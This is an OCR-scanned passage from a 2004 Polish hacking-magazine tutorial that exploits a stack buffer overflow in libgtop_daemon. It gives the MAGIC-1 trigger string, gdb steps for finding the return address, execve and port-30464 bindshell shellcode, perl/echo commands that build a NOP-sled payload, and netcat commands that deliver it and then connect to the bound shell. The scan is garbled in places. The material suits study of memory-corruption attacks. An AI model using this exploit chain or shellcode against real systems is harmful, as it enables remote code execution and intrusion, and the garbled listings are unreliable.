tu z funkcji permitted(). Sprawdzmy
wiec, skad bierze sie zmienna auth
data _len. Kilka linijek wczesniej
z pliku fa wczytywane jest dziesiec
znakéw, ktére nastepnie, jako liczba
catkowita, wstawiane sg do zmienne;j
auth _data _ len:

auth data len = atoi (buf)

Jezeli wiec zrédto, z ktérego pobie-
rane sg dane, zawiera¢ bedzie ciag:

2000
AAMA... (dwa tysiace liter A)

do tablicy vur[) zostanie wczytany
caty, liczacy dwa tysigce znakow,
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ciag liter A, przez co bufor zostanie
przepetniony.

Cofnijmy sie jeszcze kilka linijek.
Widzimy, ze aby wykonany zostat
analizowany przez nas fragment,
spetniony musi by¢ warunek:

if (!strcmp (auth protocol,

MCOOKIE_NAME) )

gdzie zawarto$¢ zmiennej auth
protocol réwniez pobierana jest
z pliku fa. Jak fatwo sprawdzic,
Mcookie NaMe  zdefiniowana jest
w pliku include/glibtop/gnuserv.h ja-
ko macic-1:

#define MCOOKIE NAME "MAGIC-1"

Podsumowujac: jesli chcemy prze-
petni¢ bufor vur(], zrédto czytanych
w funkcji permitted() danych musi
zawierac ciag:

MAGIC-1
2000
AARAA... (dwa tysiace liter A)

Teraz warto przyjrze¢ sie dokfad-
niej zrodtom libgtop, zeby spraw-
dzi¢, w jakich okolicznosciach zo-
staje wywotana funkcja permitted()
i skad pochodzg pobierane przez
nig dane. Po krotkiej analizie oka-
zuje sie, ze jesli uruchomimy libg-
top__daemon (najlepiej z opcja -, co
spowoduje, ze program po urucho-
mieniu nie przejdzie w tto), to otwo-
rzy on port 42800 i bedzie nastu-
chiwat nadchodzacych tam danych.
Mozemy wiec (na przyktad za pomo-
cq netcata) przesta¢ tam wspomnia-
ny ciag i spowodowac przepetnienie
bufora na stosie.

Podatnos¢
libgtop_daemon na
przepetnienie bufora
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Upewnijmy sie, ze libgtop_daemon
rzeczywiscie jest podatny na btad
przepetnienia bufora. W tym celu
skompilujmy zrédta libgtop — moz-
na je znalez¢ na dotaczonej do pi-
sma ptycie CD — wydajac standardo-
we polecenia:

10

Listing 8. Funkcja timed _read(), fragment pliku src/daemon/gnuserv.c

ze zrodet programu libgtop

static int timed read (int fd, char *buf, int max, int timeout, int one line)

(vo4)

char ¢ = 0;

int nbytes = 0;
(vo4)

do
r = select (fd + 1, &rmask, NULL, NULL, &tv);
if (r > 0)
if (read (fd, &c, 1) == 1)

*buf++ = c;
++nbytes;
(«o0)
while ((nbytes
(vu2)

return nbytes;

< max) && !(one line && (c == '\n')));

START

<
<

Y

Woezytaj i wstaw do tablicy kolejny znak.

Czy odczytany znak NIE

to znak nowej linii?

Czy wczytano juz

maksymalng ilos¢
danych?

Rysunek 7. Funkcja timed read() (W Uproszczeniu), ilustracja do Listingu 8

$ ./configure

$ make

Nastepnie wejdZzmy do katalogu src/
daemon i wydajmy polecenie:

$ ./libgtop daemon -f
libgtop_daemon zostat uruchomiony
i nastuchuje na porcie 42800. Nastep-

nie otworzmy druga konsole i wyslijmy
z niej na port 42800 lokalnego hosta
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ciag przepetniajacy bufor. Poniewaz
niewygodnie bytoby recznie wpisywac
ciag dwoch tysiecy liter A, zaprzegnie-
my do pomocy Perla. Do wypisania
dwdch tysiecy liter A mogtby postuzyé
prosty dwulinijkowy skrypt:

#!/usr/bin/perl
print "A"x2000

Pierwsza linijka tego skryptu infor-
muje jadro, jaki interpreter (w tym
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przypadku /usr/bin/perl) ma wyko-
na¢ skrypt, a druga powoduje wypi-
sanie dwdch tysiecy liter A. Mogliby-
Smy zapisac ten skrypt do pliku, do-
dac¢ kod wypisujacy MaGIc-1\n2000\n,
a potem uruchomi¢ go przekiero-
wujac jego standardowe wyjscie do
netcata — ale nie bytoby to wygodne
rozwigzanie. Aby zmieni¢ ilos¢ wypi-
sywanych znakéw musieliby$my mo-
dyfikowaé skrypt, zrobimy to wiec
nieco inaczej. Taki sam efekt jak uru-
chomienie powyzszego skryptu da
wykonanie polecenia:

$ perl -e 'print "A"x2000'

Uruchomienie interpretera Perla
z opcjg -e powoduje wykonanie po-
danych jako argument polecen. Ana-
logicznie, aby wypisa¢ peten ciag
przepetniajacy bufor wydamy pole-
cenie:

$ perl -e \
'print "MAGIC-1\n2000\n"."A"x2000"

Wydajmy to polecenie przekierowu-
jac wynik do netcata:

$ perl -e \
'print "MAGIC-1\n2000\n"."A"x2000" \
| nc 127.0.0.1 42800

Zajrzyjmy na konsole, na ktérej uru-
chomiony jest libgtop_daemon,
i przekonajmy sie, ze program za-
konczyt dziatanie z komunikatem
segmenation fault.

lle znakéw trzeba, by

przepetni¢ bufor

Skoro chcemy za pomoca zbyt dtu-
giego ciggu nadpisa¢ adres powro-
tu z funkcji, sprawdzmy, jak dtugie-
go ciggu powinnismy uzy¢. Z jednej
strony nie mozemy uzy¢ ciggu zbyt
krotkiego, poniewaz nie nadpisze
on adresu powrotu z funkcji, z dru-
giej strony uzycie zbyt dtugiego cig-
gu tez nie bedzie eleganckie, ponie-
waz mozna obawiac sie, ze nadpisa-
nie zbyt duzego fragmentu pamieci
moze spowodowac nieprzewidywal-
ne i trudne do diagnozowania efek-
ty. Wiemy, ze cigg zawierajacy dwa
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tysigce liter A nadpisuje adres po-
wrotu z funkgcji, sprobujmy wiec wy-
da¢ polecenie podobne do powyz-
szego, ale wysylajace mniej znakow,
na przyktad:

$ perl -e \
'print "MAGIC-1\nl1500\n"."A"x1500" \
| nc 127.0.0.1 42800

Uwaga: oczywiscie po kazdej pro-
bie musimy ponownie uruchomié
libgtop_daemon. Moze sie zdarzyé,
ze przy probie ponownego urucho-
mienia zobaczymy komunikat:

bind: Address already in use

W takiej sytuacji najprosciej odcze-
ka¢ minute i ponownie sprobowaé
uruchomic program.

Po kilku prébach dowiadujemy sie,
ze najkrotszym ciggiem powodujacym
segmentation fault jest ciag zawiera-
jacy 1178 liter A. Domys$lamy sie, ze
ciag ten nie nadpisuje adresu powrotu
ze stosu. Przed nim na stosie jest bo-
wiem adres poprzedniego spodu sto-
su, ktérego zmiana tez spowoduje nie-
stabilne zachowanie programu (patrz
czes¢ 5 Rysunku 4). Przekonajmy sie,
czy rzeczywiscie tak jest.

libgtop_daemon pod

debuggerem

Aby uruchomi¢ libgtop _daemon pod
debuggerem warto najpierw prze-
kompilowa¢ program z dotgczonymi
informacjami dla debuggera, za co
odpowiada opcja -ggdb kompilatora
(gec). Zrobimy to w sposdb moze ma-
to elegancki, ale stosunkowo prosty.
Otworzmy do edycji plik Makefile znaj-
dujacy sie w gtéwnym katalogu Zrédet.
Znajdujemy w nim linijke o tresci:

CC = gcc

Linijka ta zawiera informacje o na-
zwie kompilatora, ktéry zostanie
uzyty. Jesli te linijke zmienimy na:

CC = gcc -ggdb

kazde wywotanie kompilatora odbe-
dzie sie z opcja -ggdb. Sprébujmy.

Wprowadzmy te zmiane w Makefile
i wykonajmy:

$ make

Nastepnie wejdzmy do katalogu
src/daemon. W nim wykonajmy po-
lecenie:

$ gdb libgtop daemon

Po uruchomieniu debuggera sproé-
bujmy wykonaé¢ polecenie list. De-
bugger wyswietla zrodta programu,
co oznacza, ze informacje dla gdb
zostaty dotgczone.

Ustawmy wiec putapke w miej-
scu, w ktérym wystepuje nadpisa-
nie bufora, czyli na linii 203 w pliku
gnuserv.c:

if (timed read (fd, buf,
auth data len, AUTH TIMEOUT, 0)

Putapke ustawiamy, podobnie jak
poprzednio, poleceniem:

(gdb) break gnuserv.c:203

Teraz nalezy uruchomic libgtop_da-
emon z opcja -£:

(gdb) run -f

Nastepnie z drugiej konsoli wysyta-
my na port 42800 lokalnej maszyny
ciag zawierajacy 1178 liter A:

$ perl -e \
'print "MAGIC-1\nl1178\n" . "A"x1178"' \

| nc 127.0.0.1 42800

Po powrocie na konsole, na ktérej
dziata debugger, widzimy, ze wy-
konywanie programu zatrzymato
sie na linii, na ktérej ustawiona jest
putapka. Zobaczmy, jaka wartos¢
ustawiona jest jako adres powrotu
z funkciji:

(gdb) print Sebp+4
(gdb) x Sebp+4

Pierwsze polecenie wyswietlito ad-
res, pod ktérym przechowywany jest
adres powrotu z funkcji. Drugie po-
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/bin/sh

Listing 9. Szelkod uruchamiajgcy powtoke

\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\x£3\x8d
\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xfE\xff\xff

main ()

char shellcode[] =

"\xff\xff/bin/sh";

void (*ptr) () ;

ptr = shellcode;
ptr();

Listing 10. Sprawdzamy, czy szelkod rzeczywiscie dziata

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\x£3"
"\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"

lecenie podato samg wartos¢ adre-
su powrotnego. Nastepnie wykonaj-
my linie, w ktérej nastgpi nadpisanie
bufora, i sprawdzmy, czy zmienit sie
adres powrotu z funkgciji:

(gdb) next
(gdb) x $ebpt+d

Widzimy, ze adres sie nie zmienit.
Potwierdza to nasza hipoteze — po-
mimo, ze program zachowuje sie
niestabilnie po podaniu mu ciggu
1178 liter A, nie powoduje to jeszcze
nadpisania adresu powrotu z funkc;ji.
Po wykonaniu kilku préb analogicz-
nych do tej przeprowadzonej przed
chwilg (z uzyciem coraz dtuzszego
ciggu liter A) mozemy sie przeko-
nac¢, ze najkrétszy cigg powodujacy
nadpisanie adresu powrotu z funkgcji
zawiera 1184 liter A.

Projektujemy ciag

Plan ataku wyglada nastepujgco: do
programu libgtop_daemon przeka-
zemy cigg, ktéry spowoduje wsta-
wienie do bufora 1184 bajtéw. Na
wszelki wypadek uzyjemy troche
dluzszego ciggu — powiedzmy, ze
bedzie w nim 1200 bajtéw. Ten ty-
sigcdwustubajtowy ciag sktadaé sie
bedzie (jak przedstawia to Rysunek
5) z trzech elementow:

« ciggu instrukcji nop,
« szelkodu,

* adresu prowadzacego do wne-
trza ciggu nopdéw.

Sprobujmy skonstruowac taki ciag.
Po pierwsze musimy zdecydowac,
jaka czes¢ ciggu zajmiemy nopami,
a jakg adresami. Zatézmy, ze damy
ich mniej wiecej tyle samo. Od plano-
wanej diugosci ciggu (1200 bajtow)
odejmiemy dtugo$¢ szelkodu, wynik
podzielimy na dwa i tyle bajtéw no-
pow i adreséw damy odpowiednio na
poczatku i koncu ciggu.

Pozostato nam jeszcze znalezé
stosowny szelkod, co mozemy zro-
bi¢ za pomocg Google. Znalezio-
ny szelkod przedstawiony jest na Li-
stingu 9.

Wedtug opisu z Internetu ten
krotki ciag bajtéw to kod, ktory uru-
chomiony na Linuksie x86 otworzy
powtoke (w kodzie wida¢ nawet cigg
/bin/sh). Jednak do programow zna-
lezionych w Sieci lepiej mie¢ ograni-
czone zaufanie. Przetestujmy wiec,
czy szelkod dziata. Wystarczy, ze
umiescimy go w tablicy tekstowej,
a nastepnie wskaznik do ciggu tek-
stowego zmienimy na wskaznik do
funkcji i nakazemy jej wykonanie.
Przedstawia to Listing 10.

Teraz kompilujemy i uruchamia-
my program:

$ gcc szelkod test.c -o szelkod test

$ ./szelkod test
sh-2.05b$
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Powtoka zostata uruchomiona. Kon-
tynuujmy wiec projektowanie cig-
gu. Szelkod ma 45 bajtéw, pozosta-
je wiec po (1200-45)/2=577,5 bajta
na adresy i nopy. Kazdy adres zaj-
muje cztery bajty, przyjmijmy wiec,
ze adresy zajma 576 bajtow, a no-
py reszte, czyli 579 bajtow. Sprawdz-
my jeszcze, czy nie pomyliliSmy sie
w obliczeniach: 576 bajtéw na adre-
sy, 579 na nopy, 45 na szelkod to ra-
zem 576+579+45=1200.

Zanim stworzymy cigg musimy
jeszcze wiedzie¢, jakiego adresu
uzyé. Musi to by¢ adres znajdujacy
sie nieco (powiedzmy, ze kilkanascie
bajtow) za poczatkiem tablicy vuf(].
Skad jednak mozemy wiedzie¢,
gdzie w pamieci znajduje sie tablica
puf (], kiedy program jest uruchomio-
ny? Na razie nie zawracajmy tym
sobie gtowy, poézniej sprawdzimy
to za pomocg debuggera. Na razie
uzyjemy adresu 0x11223344.

Konstruujemy ciag
Projekt ciggu, ktéry przeslemy pro-
gramowi libgtop_daemon, jest wiec
nastepujacy:

* linijka o tresci macic-1,

» linijka o tresci 1200,

» linijka sktadajaca sie z trzech
czesci: pieciuset siedemdziesie-
ciu dziewieciu bajtéw oxso (po-
lecenie nop), czterdziestopiecio-
bajtowego szelkodu oraz powto-
rzonego sto czterdziesci czte-
ry razy adresu ox11223344 (kazdy
adres to cztery bajty, razem ad-
resy zajmag wiec piecset siedem-
dziesigt szesc¢ bajtow).

Warto stworzy¢ trzy pliki pomocni-
cze:

* nop.dat, zawierajacy kilkaset baj-
téw 0x90,

» shellcode.dat, zawierajacy szel-
kod,

* address.dat, zawierajgcy po-
wtérzony kilkaset razy adres
0x11223344.

Pliki te mozemy stworzy¢ w sposéb
przedstawiony na Listingu 11. Pliki
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Listing 11. Tworzymy trzy pliki pomocnicze

$ perl -e 'print "\x90"x900' > nop.dat

$ echo -en "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
$ echo -en "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
$ echo -en "\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"
$ echo -en "\xe8\xdc\xff\xff\xff/bin/sh" >> shellcode.dat
$ perl -e 'print "\x11\x22\x33\x44"x500' > address.dat

> shellcode.dat
>> shellcode.dat
>> shellcode.dat

‘head -c 576 address.dat’
00000000 4d 41 47 49 43 2d 31 0a 31
00000010 90 90 90 90 90 90 90 90 90
00000020 90 90 90 90 90 90 90 90 90
(...)
000001£0 90 90 90
00000200 90 eb 1f
00000210 0b 89 £3
00000220 cd 80 e8
00000230 33 44 11
00000240 33 44 11
(...)
00000450
00000460

90
Se
8d
dc
22
22

90 90 90 90 90
89 76 08 31 cO
4e 08 8d 56 Oc
ff ff ff 2f 62
33 44 11 22 33
33 44 11 22 33

33 44 11
33 44 11

22
22

33 44 11 22
33 44 11 22

33
33

Listing 12. Czy stworzony cigg wyglada tak, jak planowalismy?

$ echo -e "MAGIC-1\nl1200\n" head -c 579 nop.dat’ cat shellcode.dat"\
| hexdump -Cv

32
90
90

90
88
cd
69
44
44

44
44

30 30 0a 90 90 90 |MAGIC-1.1200....]|
90 90 90 90 90 90 |
90 90 90 90 90 90 |

90 90 90 90 90 90 |.uiiiiiiiiann... |
46 07 89 46 Oc b0 |.&.7.v.l1R.F..F.°|
80 31 do 89 d8 40 |..6.N..v.i.10.Re|
6e 2f 73 68 11 22 |f.&0 " /bin/sh."|
11 22 33 44 11 22 |3D."3D."3D."3D."|
11 22 33 44 11 22 |3D."3D."3D."3D."|
11 22 33 44 11 22 |3D."3D."3D."3D."|

11 22 33 44 0Oa |3D."3D."3D."3D."

nop.dat i address.dat tworzymy w
sposob, o ktérym juz mowilismy
— polecenie per1 z opcjg -e powodu-
je wykonanie skryptu podanego ja-
ko argument. Do wypisania do pliku
szelkodu uzyliSmy standardowego
polecenia echo wywotanego z dwie-
ma opcjami. Opcja -e powoduje, ze
ciag \x4e zostanie wypisany jako je-
den bajt o szesnastkowej wartosci
Ox4e, a nie jako ciag czterech zna-
kéw \x4e. Opcja -n powoduje, ze wy-
pisany cigg nie zostanie zakonczony
znakiem nowej linii.

Majac przygotowane pliki po-
mocnicze mozemy ztozy¢ z przygo-
towanych czesci ciag. Do wypisa-
nia pieciuset siedemdziesieciu dzie-
wieciu bajtéw z pliku nop.dat uzyje-
my polecenia head (wypisuje pocza-
tek pliku):

$ head -c 579 nop.dat

Zawarto$¢ pliku shellcode.dat wy-
piszemy poleceniem cat. taczac
wszystko razem, do wypisania cig-

gu uzyjemy polecenia:

$ echo -e "MAGIC-1\n1200\n"\
‘head -c 579 nop.dat’\

HakinS Nr 4 /2004

‘cat shellcode.dat’\
“head -c 576 address.dat’

Wydanie tego polecenia powoduje
pojawienie sie ciggu $mieci. Upew-
nijmy sie, ze otrzymany ciag jest
tym, co chcieliSmy uzyskaé. Policz-
my, ile ma znakéw (polecenie wc wy-
Swietla liczbe linii, stéw i znakéw po-
danych na standardowe wejscie):

$ echo -e \
"MAGIC-1\n1200\n"\
‘head -c 579 nop.dat’\
‘cat shellcode.dat'\
‘head -c 576 address.dat” \

| wc

Otrzymany cigg ma 1214 bajtow,
czyli tyle, ile trzeba (1200 bajtéw
plus diugos¢ dwéch pierwszych li-
nii). Obejrzyjmy zawarto$¢ cia-
gu za pomocg polecenia nhexdump
(wyswietla zawarto$¢é danych bi-
narnych w postaci szesnastkowej)
— patrz Listing 12. Wyglada sen-
sownie — na poczatku mMacic-1 i 1200,
potem sporo nopdéw, ciag dziw-
nych liczb na oko wygladajacych
jak szelkod oraz spory cigg adre-
SOW 0x11223344.

Pierwsza proba ataku
Podejmijmy pierwsza probe ataku.
Na razie libgtop_daemon urucho-
mimy pod debuggerem, dzieki cze-
mu bedziemy mieli mozliwo$¢ upew-
nienia sie, ze adres powrotu z funkgcji
zostaje nadpisany podang przez nas
wartoscig. Przy okazji sprawdzimy,
pod jakim adresem umieszczany jest
bufor vur[] (przypomnienie: potrze-
bujemy zna¢ ten adres i wstawi¢ go
do ciggu, by powrét z funkcji nastgpit
do nopéw przed szelkodem).

Prébe przeprowadzimy na dwéch
konsolach. Na pierwszej uruchamia-
my debugger (petng sesje przedsta-
wia Listing 13):

$ gdb libgtop daemon

Ustawiamy putapke na linii, w ktorej
nastepuje przepetnienie bufora:

(gdb) break gnuserv.c:203

Uruchamiamy badany program
z opcja - (nie przechodz w tto):

(gdb) run -f

Program czeka na dane na porcie
42800. Wyslijmy mu przygotowany
ciag. W tym celu przejdzmy na drugg
konsole (do katalogu z przygotowa-
nymi plikami pomocniczymi nop.dat,
shellcode.dat i address.dat) i wydaj-
my polecenie:

$ echo -e \
"MAGIC-1\n1200\n"\
‘head -c 579 nop.dat’\
‘cat shellcode.dat’\
‘head -c 576 address.dat’ \
| nc 127.0.0.1 42800

Wroémy na konsole debuggera. Wi-
dzimy, ze program dotart do linii z pu-
tapka i zatrzymat sie.

Breakpoint 1, permitted
(host_addr=16777343, fd=6)
at gnuserv.c:203

203 if (timed read (fd,
buf, auth data_len,
AUTH_TIMEOUT, 0)

!= auth_data_len)
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Sprawdzmy (zanim nastgpito prze-
petnienie bufora), jaki jest adres po-
wrotu z funkgiji:

(gdb) x $ebp+4
Oxbffff8dc: 0x0804alae

Wykonajmy biezaca linie, co spowo-
duje nadpisanie adresu powrotnego,
i sprawdzmy jego nowg wartos¢:
(gdb) next

207 if (!invoked from inetd
&& server_xauth

&& server_xauth->data &&
(gdb) x $ebp+4

Oxbffff8dc: 0x44332211

Adres zostat nadpisany podang przez
nas wartoscig, ale ustawiong w od-
wrotnej kolejnosci (zamiast podane-
go przez nas 0x11223344 na stosie po-
jawito sie 0x44332211). Wynika to z fak-
tu, ze x86 jest architektura little endian
(w pamieci mtodsze bajty zapisywane
sq przed starszymi), tak wiec adres
bedziemy musieli podawa¢ w odwrot-
nej kolejnosci. Przy okazji sprawdzmy,
pod jakim adresem lezy bufor pus 1.

(gdb) print sbuf
$1 = (char (*)[1024]) Oxbffff440

Na wszelki wypadek obejrzyjmy
jeszcze zawartos¢ pamieci poczyna-
jac od tego adresu (upewnijmy sie,
ze naprawde znajduje sie tam przy-
rzgdzony przez nas ciag).

(gdb) x/24 buf

Wyglada prawidtowo — najpierw dtu-
gi ciag nopow, potem szelkod, potem
ciag adreséw. Wybierzmy teraz i
zapiszmy jaki$ adres zaraz na po-
czatku obszaru nopéw, na przykiad
oxbfre£501. Nadpiszemy nim adres
powrotu z funkcji. Prace z debugge-
rem konczymy poleceniem quit albo
wciskajac [ctrl]+[d].

Tak wiec podczas sesji z debug-
gerem dowiedzieliSmy sie, iz adres
powrotu z dziurawej funkcji rzeczy-
wiscie zostaje nadpisany, musimy
tylko pamietaé, zeby poszczegdine
bajty umiesci¢ w ciggu przepetnia-

Listing 13. Sesja debuggera

haking@live:/ramdisk/home/haking/libgtop
[haking@live daemon]$ gdb libgtop daemon
GNU gdb Red Hat Linux
(o)

(gdb) run -f

(gdb) x $ebp+d
Oxbffff8dc: 0x0804alae
(gdb)
207
(gdb) x S$ebp+4
Oxbffff8dc: 0x44332211
(gdb) print &buf

$1 = (char (*)[1024])
(gdb) x/24 buf
Oxbff£ff440: 090909090
0xbff£ff450: 090909090
(o)
Oxbffff670:
(gdb)
Oxbfff£f680:
Oxbffff690:
Oxbfffféal:
Oxbffffeb0:
(..0)
Oxbffff8el: 0x44332211
Oxbfff£f8£f0: 0x4006bc84
(gdb)

The program is running.

next

Oxbffff440

0x90909090
0x90909090
0x90909090 0x90909090
0xeb909090
0x890bb00c

0x80cd40d8
0x44332211

0x76895elf
0x084e8df3
Oxffffdce8
0x44332211

0x44332211
0x00000005
quit

Exit anyway?
haking@live:/ramdisk/home/haking/libgtop

[haking@live daemon]$

Script started on Sat 15 May 2004 02:30:58 AM EDT

-1.0.6/src/daemon
(5.3post-0.20021129.18rh)

Breakpoint 1 at 0x8049e42: file gnuserv.c,
Starting program: libgtop-1.0.6/src/daemon/libgtop daemon -f

Breakpoint 1, permitted (host addr=16777343, fd=6) at gnuserv.c:203
203 if (timed read (fd, buf, auth data len, AUTH TIMEOUT, 0)

if (!invoked from inetd && server xauth && server xauth->data &é&

0x90909090
0x90909090

0x90909090
0x88c03108
0xcd0c568d
0x69622fff

0x44332211

0x44332211
0x00000010

(y or n) y
-1.0.6/src/daemon

Script done on Sat 15 May 2004 02:35:06 AM EDT

line 203.

!= auth_data_len)

0x90909090
0x90909090

0x90909090

0x46890746
0x89db3180
0x68732f6e
0x44332211

0x44332211
Oxbf£££900

jacym w odwrotnej kolejnosci. Ad-
resem, pod ktéry ma trafi¢ wyko-
nywanie, bedzie znajdujacy sie na
poczatku sekcji nopow oxpeffE500.
Mozemy juz wiec przygotowaé go-
towy ciag, ktéry wyslemy demono-
wi libgtop, zeby zmusi¢ go do otwar-
cia powtoki. Po drodze mozemy jed-
nak natrafi¢ na jeszcze jeden drob-
ny problem.

Mata dygresja

Spoéjrzmy na Rysunek 8. Widzimy na
nim, jak kolejno umieszczane w pa-
mieci adresy nadpisujg stos, nad-
pisujac tez adres powrotu z funk-
cji. Jest to sytuacja analogiczna do
tej, zjaka mieliSmy do czynienia
— W przygotowanym przez nas ciggu
umiescilismy powtdrzony wiele razy
adres 1234, co spowodowato, ze ad-
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res powrotu z funkgcji zostat nadpisa-
ny tg wartoscia.

Mogta mie¢ jednak miejsce nie-
co inna sytuacja — patrz Rysunek 9.
W tym przypadku mamy mniej szcze-
Scia i ciag po umieszczeniu w bufo-
rze zaczyna sie o bajt dalej. Powo-
duje to, ze adres powrotu z funkgcji
zostaje nadpisany wartoscig 2341.
Przekonamy sie o tym obserwujac
zachowanie libgtop_daemon za po-
mocg debuggera (podobnie jak na
Listingu 13). Jesli po wykonaniu linii
nadpisujacej adres powrotu z funk-
cji w wyniku wykonania polecenia
x S$ebp+4 zObaczymy adres podany
przez nas, ale przesuniety o jeden,
dwa lub trzy bajty, bedzie to ozna-
czato, ze mamy do czynienia wita-
$nie z tg sytuacja. Bedziemy wtedy
musieli do wysytanego ciggu dodac

HakinS Nr 4 /2004



kilka znakow tak, aby granice miedzy
adresami w wystanym przez nas cig-
gu pokryty sie z granicami stéw na
stosie (jak na Rysunku 8):

$ echo -e \
"MAGIC-1\n1201\n"\
‘head -c 579 nop.dat’\
‘cat shellcode.dat’'-\
‘head -c 576 address.dat’ \
| nc 127.0.0.1 42800

Atak

Jak pamietamy adres powrotu z funk-
cji planujemy nadpisa¢ adresem
oxbf£££501. Pamietajac, ze w architek-
turze little endian bajty w pamieci mu-
szg by¢ utozone w kolejnosci odwrot-
nej niz naturalna (najpierw bajt mtod-
szy, potem starszy), stworzymy nowa
zawartos¢ pomocniczego pliku z ad-
resami:

$ perl -e \
'print "\x01\xf5\xff\xbf"x500" \

> address.dat

Teraz mozemy na pierwszej konsoli
uruchomi¢ libgtop__daemon:

$ libgtop_daemon -f

Przepelnianie bufora
pod FreeBSD

Jeden z naszych betatesteréw, Pawet
Luty, przetestowat opisywane w arty-
kule ¢wiczenia (przepetnianie bufora
w programach stack_1.c i stack_2.c)
pod FreeBSD. Oto jego uwagi:

Opisywane w artykule techniki
dziataty. Musiatem tylko zmodyfiko-
wac programy stack_1.c i stack_2.c
— szelkod zmienitem na:

\xeb\x0e\x5e\x31\xc0\x88\x46
\x07\x50\x50\x56\xb0\x3b\x50
\xcd\x80\xe8\xed\xff\xff\xff
/bin/sh

Maty ktopot byt z poleceniem echo, kto-
re pod FreeBSD nie ma opcji -e — za-
miast niego mozna jednak uzyc Perla.
Zauwazytem roéwniez, ze dla
FreeBSD 5.1-RELEASE-p10 adres
bufora dla kolejnych uruchomien pro-
gramu jest staty (to a propos Tabeli 1).
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dostarczony przez nas ciag

»

>
adres

<
<

adres adres adres

Lz folefifafolefr]zfafa]r]2]a]s]

ENEREOEOEEEEEEEE

adres powrotu
< o~
< >

stos

Rysunek 8. Cigg przepetniajgcy bufor nadpisuje stos, w tym adres powrotu
z funkcji; mamy szczes$cie — granice stow w ciggu nadpisujgcym i na stosie
pokrywajq sie

dostarczony przez nas ciag

< »
< >

adres adres adres adres
12 ]sfaf1]2]a]afr]2ofa]afr]2]s]4]

HEEEEBBONEEEEEEEE

adres powrotu

< »
< >

stos

Rysunek 9. Cigg przepetniajgcy bufor nadpisuje stos, w tym adres powrotu
z funkcji; mamy pecha — granice stow w ciggu nadpisujgcym i na stosie nie
pokrywajq sie, dlatego tez adres zostaje nadpisany nieprawidtowg wartoscig

Listing 14. Szelkod otwierajgcy powfoke na porcie 30464

char shellcode[] = /* Taeho Oh bindshell code at port 30464 */

"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31\xdb\x89"
"\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\xb3"
"\x01\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d"
"\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3"
"\x02\xcd\x80\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3"
"\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80"
"\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88"
"\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";

A na drugiej wystaé cigg na port
42800:

Jak wykorzystaé
wiedze w praktyce

$ echo -e \

"MAGIC-1\n1201\n"\

Teraz, kiedy wiemy juz, jak zmusié¢
dziurawy program libgtop do wy-
konania podestanego przez nas
kodu, zastanéwmy sie, w jaki sposéb
naszg wiedze mozemy wykorzystac
w praktyce, podczas przeprowadza-
nia testow penetracyjnych.
Wyobrazmy sobie, ze dowiedzieli-
Smy sie, ze nasza ofiara uzywa dziura-
wej wersji libgtop. Mozemy wtedy wy-
sta¢ na jej komputer, na port 42800,

“head -c 579 nop.dat’\

‘cat shellcode.dat’\

‘head -c 576 address.dat’ \
| nc 127.0.0.1 42800

Jedli wszystko zrobiliSmy do-
brze, na pierwszej konsoli (tej
z libgtopem) otwarta zostanie po-
wtoka.

www. hakinS.org
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spreparowany przez nas cigg. Zmu-
szenie zdalnej maszyny do lokalne-
go uruchomienia powtoki) nie miato-
by w praktyce sensu. Potrzebowaliby-
$my raczej, zeby zdalna maszyna uru-
chomita powtoke podpietq do ktére-
gos portu, tak abysmy mogli potaczyé
sie (za pomoca netcata) z tym portem
i wydawac polecenia. W tym celu po-
trzebujemy innego szelkodu, ktéry to
zapewni. Taki kod réwniez znajdziemy
w Internecie (patrz Listing 14). Wedtug
opisu kod ten udostepnia powioke na
porcie 30464.

Podobnie, jak robilismy to poprzed-
nio (patrz Listing 11), umiesémy nowy
szelkod w pliku shellcode.dat. Nastep-
nie, poniewaz zmienita sie dtugos¢
szelkodu, musimy zmodyfikowaé wiel-
kos$¢ obszaru nopéw i obszaru adre-
séw, tak by stworzony cigg miat nadal
dtugos¢ 1200 bajtéw. Polecenie wc in-
formuje, ze nowy szelkod ma 177 zna-
kéw. Na nopy i adres pozostaje wiec
odpowiednio 523 i 500 bajtow.

Przeprowadzmy wiec jeszcze je-
den eksperyment. Na jednej konsoli
uruchamiamy libgtop_daemon:

$ libgtop_daemon -f

Na drugiej konsoli wysytamy ciag (za-
wierajacy nowy szelkod) na port 42800
komputera, na ktérym dziata serwer
libgtop (w naszym przypadku — na port
42800 lokalnego komputera):

$ echo -e \
"MAGIC-1\n1201\n"\
‘head -c 523 nop.dat’\
‘cat shellcode.dat’\
‘head -c 500 address.dat’ \
| nc 127.0.0.1 42800

Nastepnie z trzeciej konsoli taczymy
sie z portem 30464 ofiary:

$ nc 127.0.0.1 30464

Po nawigzaniu potaczenia mozemy
zdalnie pracowa¢ na atakowanym
komputerze.

Praca domowa
Jak wida¢, niestarannie napisany
program umozliwia intruzowi zdal-

ne wykonanie ztosliwego kodu.
